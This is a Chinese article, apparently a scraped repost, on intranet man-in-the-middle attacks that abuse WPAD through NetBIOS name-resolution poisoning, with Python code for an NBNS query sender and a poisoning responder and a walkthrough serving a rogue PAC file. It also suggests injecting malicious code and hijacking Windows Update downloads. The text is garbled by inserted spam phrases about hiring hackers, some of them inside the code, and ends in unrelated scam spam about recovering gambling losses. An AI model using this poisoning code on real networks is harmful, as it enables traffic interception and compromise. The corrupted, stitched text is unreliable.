*** 黑客确实能够讨回网输了钱的钱吗-利用 NetBIOS 协议书名字分析及 WPAD 开展内网渗透
0x00 序言
WPAD 此项技术性早已问世了近十年的時间,其较大 的优点就取决于,在一个或好几个局域 *** 中,当必须为内网中的客户设定不一样的服务器 *** 去联接互联网技术或是公司内网时,利用 WPAD 就可以灵便便捷的开展配备。因为配备服务器 *** 的 *** 针对客户而言是全透明的,不用客户手动式实际操作的,因而,攻击者就可以利用这一特性应用 WPAD 开展内网的渗透。
利用 WPAD 开展内网渗透的技术性早已出現了好多年了,一直沒有越来越像 ARP Spoof 等攻击方式那麼时兴,可能是因为基本的内网渗透中,如 Windows 域的渗透,攻击者只需取得域控的管理权限就可以操纵域中的一切设备,因而,攻击者通常只关心怎样捉到域管理人员的 HASH。殊不知即怎样聘请 *** 黑客使在协作组的渗透中,也拥有 比 WPAD 更合理的攻击方式。可是在攻击者“无(qian)计(lv)可(ji)施(qiong);)”的情况下,也会选用一些“非主流女生”的 *** 开展内网渗透。
文中可能论述 WPAD 协议书的原理,完成 *** 及其在内网渗透中的运用构思,只是起一个抛砖的功效,期待大神们多多的“引玉”。
PS:文中是小编利用工作之余的零碎時间所写,在所难免有疏漏,敬请诸位看(da)官(niu)在发表评论立即纠正 or PM 我。
0x01 WPAD 介绍
WPAD(Web Proxy Auto-Discovery Protocol) 是 Web *** 商全自动发觉协议书的通称,该协议书的作用是能够使局域 *** 中客户的电脑浏览器能够全自动发觉内怎样聘请黑客网中的服务器 *** ,并应用已发觉的服务器 *** 联接互联网技术或是公司内网。WPAD 适用全部流行的电脑浏览器,从 IE 5.0 刚开始就早已适用了服务器 *** 全自动发觉/转换的作用,但是美国苹果公司充分考虑 WPAD 的安全隐患,在包含 OSX 10.10 及以后版本号的电脑操作系统中的 Safari 电脑浏览器将已不适用 PAC 文档的分析。
WPAD 原理
当系统软件打开了 *** 商全自动发觉作用后,客户应用电脑浏览器网上时,电脑浏览器便会在当今局域 *** 中全自动搜索服务器 *** ,假如找到服务器 *** ,则会从服务器 *** 中下载一个名叫 PAC(Proxy Auto-Config) 的环境变量。该文件中界定了客户在浏览一个 URL 时需应当应用的服务器 *** 。电脑浏览器会免费下载并分析该文件,并将相对的服务器 *** 设定到客户的电脑浏览器中。
PAC 文档
PAC(Proxy Auto-Config) 怎样聘请 *** 黑客 环境变量应用了 Javascript 对 URL 和服务器 *** 开展叙述。一般应用 proxy.pac 做为文件夹名称, WPAD 的标准则应用 wpad.dat 做为 PAC 文档的文件夹名称。
一个 PAC 文档最少界定了一个名叫 FindProxyForURL(url, host) 的 JavaScript 涵数,该涵数的返回值是一个字符串数组,特定了 URL 的浏览 *** ,2个主要参数各自意味着了要特定设定的 URL 和 该 URL 所相匹配的IP地址。
PAC 文档內容实例以下:
#!js
function FindProxyForURL(url, host){
if (url== 'http://Her0in.org/') return 'DIRECT';
if 怎样聘请 *** 黑客 (shExpMatch(host, "*.wooyun.org")) return "DIRECT";
if (host== 'wooyun.com') return 'SOCKS 127.1.1.1:8080';
if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.2.2.2:8080;DIRECT';
return 'DIRECT';
}
该文件界定了当客户浏览 http://Her0in.org/ 时,将不应用一切服务器 *** 立即(DIRECT)浏览 URL。还可以应用 shExpMatch 涵数对 host 或是 url 开展搭配设定,SOCKS 127.1.1.1:8080 特定了应用 12怎样聘请 *** 黑客7.1.1.1:8080 的 SOCKS *** 商开展 URL 的浏览,PROXY 127.2.2.2:8080;DIRECT 特定了应用 127.2.2.2:8080 的 HTTP *** 商开展 URL 的浏览,假如联接 127.2.2.2:8080 的 HTTP 服务器 *** 不成功,则立即(DIRECT)浏览 URL。
当地构建出示 WPAD 应用的 HTTP 服务器 *** 时,必须监视 80 端口号,由于手机客户端电脑浏览器默认设置会从 80 端口号免费下载 PAC 文档,另外要将 PAC 文档的 MIME 种类设定为 application/x-ns-proxy-autoconfig 或 application/x-javascript-config,但是这不是务必要设定的。
PAC 文档的编号难题
FF 和 IE 只终端软件默认设置的编号种类 的 PAC 文档怎样聘请 *** 黑客,而且不兼容 Unicode 编号,如 UTF-8。 有关 PAC 文档的大量表明,能够在 这儿 和 这儿寻找。
0x02 Windows 中的 WPAD
在 Windows 系统软件中,从 IE 5.0 刚开始就适用了 WPAD,而且 Windows 系统软件默认设置是打开了 WPAD 作用的。
能够在 IE电脑浏览器的 Internet 选择项 — 联接 菜单栏 — 局域网设置 — 自动识别设定 中见到,系统软件默认设置是启用此作用的。
如下图所显示:
图 1:Windows 中 IE 电脑浏览器的 WPAD 怎样聘请 *** 黑客 设定
此外, Windows 系统软件从 IE 5.5 刚开始适用“全自动 *** 商結果缓存文件”作用,并默认设置打开了此作用,此作用的体制为每每手机客户端的电脑浏览器联接取得成功 HTTP 服务器 *** ,都是会升级 ARP 缓存文件,因此 在手机客户端电脑浏览器再度联接服务器 *** 也就是在再度启用 FindProxyForURL() 涵数时,会先查验 ARP 缓存文件目录中,是不是存有要联接的 HTTP 服务器 *** 详细地址。因此 此作用的目地便是减缩系统软件获得分配对象的花销。
能够应用以下实际操作关掉此作用:
方式 1:修改注册表
能够应用下边的注册表项禁止使用“全自动 *** 商結果缓存文件”:
HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet 怎样聘请 *** 黑客 Settings
将 EnableAutoproxyResultCache(假如不会有请手动式建立,种类为 REG_DWORD) 设定为 0 或是 1 。
0 = 禁止使用缓存文件;1 = 开启全自动 *** 商缓存文件(它是默认)
方式 2:改动组策略设定
在组策略目标在线编辑器中的“客户配备” — “管理 *** 模版” — “Windows 部件” — “Internet Explorer”中,开启 “禁止使用缓存文件全自动 *** 商脚本 *** ”就可以。
WinHTTP 的 WPAD 适用
在 Windows 系统软件中,有一个服务项目名叫 WinHTTP Web Proxy 怎样聘请 *** 黑客 Auto-Discovery Service,其叙述信息内容为 “WinHTTP 完成了手机客户端 HTTP 局部变量并向开发者出示 Win32 API 和 COM 自动化技术部件以供推送 HTTP 要求和接受回应。除此之外,根据实行 Web *** 商全自动发觉(WPAD)协议书,WinHTTP 还出示对全自动发觉服务器 *** 配备的适用。”
PS:为了更好地安全起见,提议禁止使用,由于大部分的状况下不容易采用。
0x03 WPAD 完成 ***
WPAD 完成的 *** 有二种,DHCP 和 DNS,主要内容以下。
应用 DHCP 服务器的配置 WPAD
DHCP 是 Dynamic Host Configuration Protocol 的简称即 动态性电脑主机配置协议书,它是一个用以局域 *** 的 *** 层协议,处在 OSI 怎样聘请 *** 黑客 的 *** 层,所应用的传输协议为 UDP。DHCP 的关键作用是动态分配,自然不仅是 IP 详细地址,也包含一些别的信息内容,如子网掩码等,也包含文中所说的 WPAD,这种附加的信息内容全是在 DHCP 协议书中的 “DHCP options” 字段名中设定的。
DHCP 的工作内容有 4 个流程:
图 2:DHCP 工作内容
图中即是手机客户端与 DHCP 服务器虚拟机互动的全过程,在其中,前2个步骤主要是根据手机客户端推送广播节目包,以后 DHCP 服务器虚拟机相对与手机客户端开展单播通信。后边的2个步骤即是手机客户端从 DHCP *** 服务器获得 IP 详细地址的全过程。当手机客户端早已取得成功获得来到 怎样聘请 *** 黑客 IP 详细地址后另外该详细地址在手机客户端再次登陆到互联网前仍未被别的服务器占有,那麼将不容易再实行前2个步骤。有关 DHCP 协议书的主要内容并不是文中的关键內容,已不详细描述。
当应用 DHCP 服务器的配置 WPAD 时, DHCP 协议书可能有一定的更改,实际的更改能够在 RFC 2131 中见到,提升了 DHCPINFORM 信息,此信息用以手机客户端要求当地配备主要参数,因此 手机客户端在要求 WPAD 服务器时便会推送 DHCPINFORM 要求信息,以后 DHCP *** 服务器会回复 DHCPACK 确定信息,此信息中的 DHCP Options 字段名里就包括 DHCP 的 252 选择项即 WPAD 服务器 *** 的 PAC 文档详细地址。
DHCP *** 服务器回应的 DHCPACK 数据文件相匹配的 DHCP 构造:
图 3: DHCPACK 信息构造
有关 DHCP Options 的别的界定能够查询 DHCP 的 RFC 1531 文本文档
在现阶段的大部分内网中早已已不应用 DHCP *** 服务器来开展对手机客户端的 WPAD 的配备了,只是选用了比较简单的 *** 如 DNS *** 服务器。
利用 DNS 配备 WPAD
利用 DNS 配备 WPAD 的 *** 实质上還是利用了 Windows 系统软件的名字分析体制。
利用 DNS 配备 WPAD 的基本原理以下:
手机客户端服务器向 DNS *** 服务器进行了 WPAD+X 的查看要求。假如手机客户端服务器是处在域自然环境下时,进行的 WPAD X 的查看要求为 “WPAD.当今域的网站域名”。DNS 怎样聘请 *** 黑客 *** 服务器对 WPAD 服务器的名字开展分析回到 WPAD 服务器的 IP 详细地址,手机客户端服务器根据 WPAD 服务器的 IP 的 80 端口号免费下载并分析 PAC 文件。
利用 DNS 进行 WPAD 的配置, *** 管理员只需要在 DNS 服务器中添加 WPAD 主机的解析记录即可。
PS:在工作组环境中,客户端主机执行 WPAD 功能时,就会遵循 Windows 系统的名称解析顺序,查询的名称均为 “WPAD”,如果 OS 版本为 Vista 之后的(包括 Vista)顺序为:DNS => LLMNR => NBNS,反之则为 DNS => NBNS。
0x04 利用 WPAD 进行内网渗透
前面的内容已经说明了 WPAD 的工作原理,实现方式和如何雇佣黑客 WPAD 在 Windows 系统中的相关内容。接下来就是本文要重点阐述的内容,如何利用 WPAD 进行内网渗透。
上面已经说明,在实际渗透中,大多数情况下遇到的内网都不再使用 DHCP 进行 WPAD 的配置,而利用 DNS 配置 WPAD 或者是内网本身没有对 WPAD 的配置进行设置的情况下,都会默认遵循 Windows 系统的名称解析顺序,因此,可以利用 Windows 系统的名称解析顺序的缺陷进行 WPAD 的“恶意”配置,从而进行内网的渗透。
关于 Windows 系统的名称解析顺序 及利用 Windows 系统的名称解析缺陷渗透的思路可以从我的下面两篇文章中找到。
Windows 名称解析机制探究及缺陷利用(下文简称 文1)
利用 LLMNR 名称解析缺陷劫持内网指定主机会话(如何雇佣黑客下文简称 文2)
利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击
在 文2 中已经阐述了 如何利用 LLMNR 名称解析进行内网渗透的思路,并给出了相应的利用代码。所以本文将不再赘述“如何利用 LLLMNR 名称解析缺陷进行基于 WPAD 的中间人攻击”。
NetBIOS 协议名称解析过程
一张图看明白 NetBIOS 名称解析过程,以受害者访问局域网中的 WEBSERVER 为例(受害者主机的 NetBIOS缓存中无 WEBSERVER):
图 4:NetBIOS 名称解析过程
NetBIOS 如何雇佣黑客 协议分析
使用 Wireshark 可以快速抓取到 NetBIOS 协议名称查询的数据包,如下图:
图 5:NetBIOS 名称查询数据包格式
NetBIOS 的协议结构与 LLMNR 的基本一致。但是与 LLMNR 还是有所不同,其中最明显的一点为 NetBIOS 协议中的主机名称是加密的,通过查阅相关资料,如 dpkt,Wireshark等,可以找到其加密和解密的源码:
PS:以下代码引用自 dpkt 库。
#!python
def encode_name(name):
"""Return 如何雇佣黑客 the NetBIOS first-level encoded name."""
l = []
for c in struct.pack('16s', name):
c = ord(c)
l.append(chr((c >> 4) + 0x41))
l.append(chr((c & 0xf) + 0x41))
return ''.join(l)
def decode_name(nbname):
"""Return the NetBIOS first-level decoded nbname."""
if len(nbname) != 32:return nbname
l = []
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
((ord(nbname[i+1]) - 0x41) & 0xf)))
return ''.join(l).split('\x00', 1)[0]
从代码中不难分析出加解密的过程,至于为何 pack 的时候使用 16 请参阅 文1 中对 NetBIOS 名称的阐述。
NetBIOS 协议的内容比较多,其中有不少与我们在内网渗透中所使用的一些命令有直接的关系,更多如何雇佣黑客内容可以查阅 NetBIOS 协议的 RFC 文档
Python 实现 NetBIOS 协议的质询与应答
尽管目前已有相当优秀的 *** 协议开源库实现了 NetBIOS 的质询与应答,不过为了更好的理解 NetBIOS 协议,我们还是动手自己来构造协议数据包。根据 Wireshark 抓取的数据包(图 5)可以很快的构造并实现 NetBIOS 协议的名称查询数据包。代码如下:
#!python
#/usr/bin/env python
# -*- coding:utf-8 -*-
__doc__ = """
NBNS Query ,
by 如何雇佣黑客 Her0in
"""
import socket, struct
class NBNS_Query:
def __init__(self,name):
self.name = name
self.populate()
def populate(self):
self.HOST = '192.168.16.255'
self.PORT = 137
self.nqs = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.QueryData = (
如何雇佣黑客"\xa9\xfb" # Transaction ID
"\x01\x10" # Flags Query
"\x00\x01" # Question:1
"\x00\x00" # Answer RRS
"\x00\x00" # Authority RRS
"\x00\x00" # Additional RRS
"\x20" # length of Name:32
"NAME&如何雇佣黑客quot; # Name
"\x00" # NameNull
"\x00\x20" # Query Type:NB
"\x00\x01") # Class
self.data = self.QueryData.replace('NAME', struct.pack("32s", self.encode_name(self.name)))
# From http://code.google.com/p/dpkt/
def encode_name(self,name):
如何雇佣黑客 """Return the NetBIOS first-level encoded name."""
l = []
for c in struct.pack('16s', name):
c = ord(c)
l.append(chr((c >> 4) + 0x41))
l.append(chr((c & 0xf) + 0x41))
return ''.join(l)
def Query(self):
while 1:
如何雇佣黑客 print "NBNS Querying... -> %s" % self.name
self.nqs.sendto(self.data, (self.HOST, self.PORT))
self.nqs.close()
if __name__ == "__main__":
nbns = NBNS_Query("WPAD")
nbns.Query()
通过 Wireshark 抓取 NetBIOS 名称查询的应答数据包,同样可以快速实现名称查询的应答功能。代码如下:
#!python
#/usr/bin/env python
# -*- coding:utf-8 -*-
__doc__ = """
NBNS Answer ,
by Her0in
"""
import socket, struct,binascii
class NBNS_Answer:
def __init__(self, addr):
self.IPADDR = addr
self.nas = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
如何雇佣黑客 self.init_socket()
self.populate()
def populate(self):
self.AnswerData = (
"TID" # Transaction ID
"\x85\x00" # Flags Query
"\x00\x00" # Question
"\x00\x01" # Answer RRS
"\x00\x00" # 如何雇佣黑客 Authority RRS
"\x00\x00" # Additional RRS
"\x20" # length of Name:32
"NAME" # Name
"\x00" # NameNull
"\x00\x20" # Query Type:NB
"\x00\x01" # Class
"\x00\x00\x00\如何雇佣黑客xa5" # TTL
"\x00\x06" #
"\x00\x00" # Null
"IPADDR") # IP Address
def init_socket(self):
self.HOST = "0.0.0.0"
self.PORT = 137
self.nas.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
如何雇佣黑客 self.nas.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
def decode_name(self, nbname):
"""Return the NetBIOS first-level decoded nbname."""
if len(nbname) != 32:
return nbname
l = []
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 如何雇佣黑客 4) |
((ord(nbname[i+1]) - 0x41) & 0xf)))
return ''.join(l).split('\x00', 1)[0]
def Answser(self):
self.nas.bind((self.HOST, self.PORT))
print "Listening..."
while 1:
data, addr = self.nas.recvfrom(1024)
tid = data[0:2]
name = data[13:45]
data = self.AnswerData.replace('TID', tid)
data = data.replace('NAME', name)
data = data.replace('IPADDR', socket.inet_aton(self.IPADDR))
print "Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr[0], self.decode_name(name))
如何雇佣黑客 self.nas.sendto(data, addr)
self.nas.close()
if __name__ == "__main__":
nbns = NBNS_Answer("11.22.33.44")
nbns.Answser()
利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击思路解析
通过上面一系列针对 WPAD 原理和 NetBIOS 协议的阐述,理解利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击的思路就不难了,不过利用思路将不会再像 文2 那样详述。因为我认为,只要理解了攻击思路,如何利用就是一个“ *** 论”的问题了,具体情况具体分析,各位大牛完全可以自由发挥。
利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击本质上还是利用了 Windows 系统的名称解析顺序和 NetBIOS 协议的特点。
在文章第三小节已经说过,在工作组环境中,客户端主机执行 WPAD 功能时,就会遵循 Windows 系统的名称解析顺序,查询的名称均为 “WPAD”。那么,如此看来,先广播进行 “WPAD” 名称的注册,然后监听 137 端口,等待局域网其他已启用 WPAD 功能的主机启动 IE 浏览器连接 *** 即可将受害者主机的浏览器 *** 设置为攻击者指定的 *** 服务器,这样就可以获得受害者的浏览器的上网记录。
利用上一节中的 Demo 程序以及 Python 的 SimpleHTTPServer 功能还有一台 HTTP 或者 SOCKS *** 服务器即可快速模如何雇佣黑客拟出一个简单的攻击场景。如下图:
图 6: 利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击
如上图所示,攻击者开启 NetBIOS 恶意应答程序,并监听 80 端口提供 PAC 配置文件(wpad.dat)的下载,同时开启 *** 服务器(这里使用的是 HTTP *** 服务器 => Burp Suite)。
受害者主机(Windows XP) 打开 IE 浏览器(已启用了 WPAD 功能)开始上网,此时浏览器就会寻找当前局域网中的 *** 服务器,实际上是进行了 WPAD 的名称查询,可以从图中看到攻击者的恶意应答程序做了恶意应答,同时提供 PAC 配置文件下载的如何雇佣黑客 HTTP 服务器打印出了日志信息,此时受害者的浏览器已经下载了 PAC 配置文件(该文件内容为 *** 服务器地址信息),之后,受害者的浏览器就会使用攻击者指定的 *** 服务器进行上网,这一点从 Burp Suite 中就可以看到。
OK,上述内容就是整个攻击的思路和流程,在实战中,完全可以将攻击过程程序化,自动化。
0x05 总结
利用 NetBIOS 协议进行中间人攻击的方式其实还有很多,攻击的思路也可以很灵活的根据实际需要进行布局。在利用 WPAD 进行攻击时,实际的效果很有可能没有想象的那么好,不过一旦奏效,就可以拿到受害者主机权限。尤其是在无计可施的情况下,还是值得一试的,很多内网中,管理员都不会对这些攻击方式做防御措施,除了部分桌面安全产品,如防火墙可能会做严格的过滤拦截,大部分情况下,此类攻击方式如何雇佣黑客还是很有效的,尤其是可以在做名称解析响应时,筛选受害者主机,对 HTTP 数据包进行更改插入恶意代码,进行针对性的定点打击。另外,NetBIOS 协议比起 LLMNR 有一个更佳有利于攻击的特点,NetBIOS 协议的名称解析可以对受害者访问的域名进行响应,当然,前提是 DNS 服务器没有做出成功的响应时,才会使用 NetBIOS 协议进行查询。关于这一点以及 WPAD ,都可以结合 Windows Update 所使用的更新域名进行中间人攻击,下载并执行攻击者指定的补丁文件。
关于 NetBIOS 协议的内容可以在相关的 RFC 文档中查阅,其中还有不少东西可以在内网渗透中利用到,如 OPCODE 字段的取值,BROWSER 协议等等,更多的攻击思路还有待各位看官多多“引玉”。
hacker的精神态度是很重要的,但如何雇佣黑客技术则更是重要.hacker的态度虽然是无可取代,但在梦想别的hacker开始也叫你hacker前,有些基本的工具和技术。黑客真的可以追回网赌输的钱吗
黑客大户追款团队qq[专业] *** 攻击者经常在正式攻击之前,进行试探性的攻击,目的为进一步入侵以获得有用的信息。主要包括扫描技术,体系结构探测,利用信息服务和嗅探Sniffer等方式。而。
黑客真的可以追回网赌输的钱吗这些都是诈骗,请不要相信找人查别人的记录本来就是非法,做了非法的事情又有多少人去报案?案值不够一般也不会立案对方没有你的任何微信信息,你不需要担心对方可以获取任何不利你的微信信息威胁你,当然你告他们需要你可以提供证据,才能通过法院起诉对方。
。可以的,仼意安装aquiteamo。
首先,登陆选择查找我的iPhone,看看有没有你的手机。有的话选择你的手机,直接选择如何雇佣黑客从账户删除。然后你。黑客真的可以追回网赌输的钱吗
你要知道。有实力有技术,就代表不缺钱。
黑客真的可以追回网赌输的钱吗得看现场情况来决定如何入侵啊。监控主机是不是隔离开的?监控线路有没有可以利用的地方?然后就是如何获得监控管理员密码。然后看监控。我们学校宿舍监控。
标签:
版权声明
本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。